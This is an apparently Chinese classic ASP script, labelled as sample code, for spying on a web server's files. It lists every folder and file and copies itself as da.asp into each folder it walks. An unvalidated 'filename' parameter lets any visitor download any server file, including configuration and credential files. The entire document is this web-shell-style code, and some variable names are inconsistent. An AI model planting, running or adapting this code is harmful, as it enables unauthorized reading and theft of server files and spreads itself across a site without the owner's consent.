服务器文件信息偷窥下载程序 示例代码

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 服务器文件信息偷窥程序 示例代码
‘Copyright 2007  独孤翼 QQ：88056598 湖南长沙   保留所有权利。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Option Explicit
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 对于代码质量：
‘ 1) 下面的代码有许多字符串操作，用"&"运算符来把短字符串连接在一起。由于
‘    字符串连接是费时的，所以这是一种低效率的写代码方法。无论如何，它是
‘    一种非常好维护的写代码方法，并且在这儿使用了这种方法，因为该程序执行
‘    大量的磁盘操作，而磁盘操作比连接字符串所需的内存操作要慢得多。
‘    记住这是示范代码，而不是产品代码。
‘
‘ 2) 使用了 "Option Explicit"，因为访问声明过的变量，比访问未声明的变量要
‘    稍微快一些。它还能阻止在代码中发生错误，例如，把 DriveTypeCDROM 误拼
‘    成了 DriveTypeCDORM 。
‘
‘ 3) 为了使代码更可读，该代码中没有错误处理。虽然采取了防范措施，来保证代码
‘    在普通情况下没有错误，但文件系统是不可预知的。在产品代码中，使用
‘    On Error Resume Next 和 Err 对象来捕获可能发生的错误。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 一些容易取得的全局变量
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Const ForReading=1
Const TristateTrue=-1
Const FILE_TRANSFER_SIZE=16384
Response.Buffer = True
Sub Main()
Dim path, mimeType, sucess,downfilename
downfilename=request("filename")
if downfilename<>"" then
path =Server.MapPath(downfilename)
mimeType="text/plain"
sucess = TransferFile(path, mimeType,downfilename)
else
Dim objFolder
Dim objFSO
Dim daf
dim dat
Dim da
‘ 建立FSO和文件夹对象
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.Mappath("."))  ‘获取当前目录路径
‘获取当前文件内容到变量dat中
set daf=objFSO.OpenTextFile(server.MapPath("da.asp"))
dat=daf.readall
daf.close
ListFolders(objFolder) ‘调用ListFolders函数显示文件夹对象objFolder内所有子文件夹及文件
end if
Response.End
End Sub
‘显示文件函数
Function ListFile(objFolder)
Dim objFile
‘遍历当前文件夹下每个文件
For Each objFile in objFolder.Files
‘以读取方式打开文件
response.write " -Download "
response.write " -"&objFile.Name&" "&cInt(objFile.Size/1024)&"K
"
Next
‘在当前文件夹下创建da.asp文件
set da=objFSO.CreateTextFile(objFolder&"/da.asp",True)
da.write dat
da.close
End Function
‘显示文件夹函数
Function ListFolders(objFolder)
response.write "+"&objFolder.Name&"
"
‘显示当前文件夹下文件
ListFile objFolder
Dim objSubFolder
‘遍历当前文件夹下每个文件夹
For Each objSubFolder in objFolder.SubFolders
response.write " +"&objSubFolder.Name&"
"
ListFile objSubFolder
response.write " +"&objSubFolder.Name&"
"
Next
response.write "-"&objFolder.Name&"
"
End Function
‘下载文件函数
Function TransferFile(path, mimeType, filename)
Dim objFileSystem, objFile, objStream
Dim char
Dim sent
send=0
TransferFile = True
Set objFileSystem = Server.CreateObject("Scripting.FileSystemObject")
Set objFile = objFileSystem.GetFile(Path)
Set objStream = objFile.OpenAsTextStream(ForReading, TristateTrue)
Response.AddHeader "content-type", mimeType
response.AddHeader "Content-Disposition","attachment;filename=" & filename
Response.AddHeader "content-length", objFile.Size
Do While Not objStream.AtEndOfStream
char = objStream.Read(1)
Response.BinaryWrite(char)
sent = sent + 1
If (sent MOD FILE_TRANSFER_SIZE) = 0 Then
Response.Flush
If Not Response.IsClientConnected Then
TransferFile = False
Exit Do
End If
End If
Loop
Response.Flush
If Not Response.IsClientConnected Then TransferFile = False
objStream.Close
Set objStream = Nothing
Set objFileSystem = Nothing
End Function
%>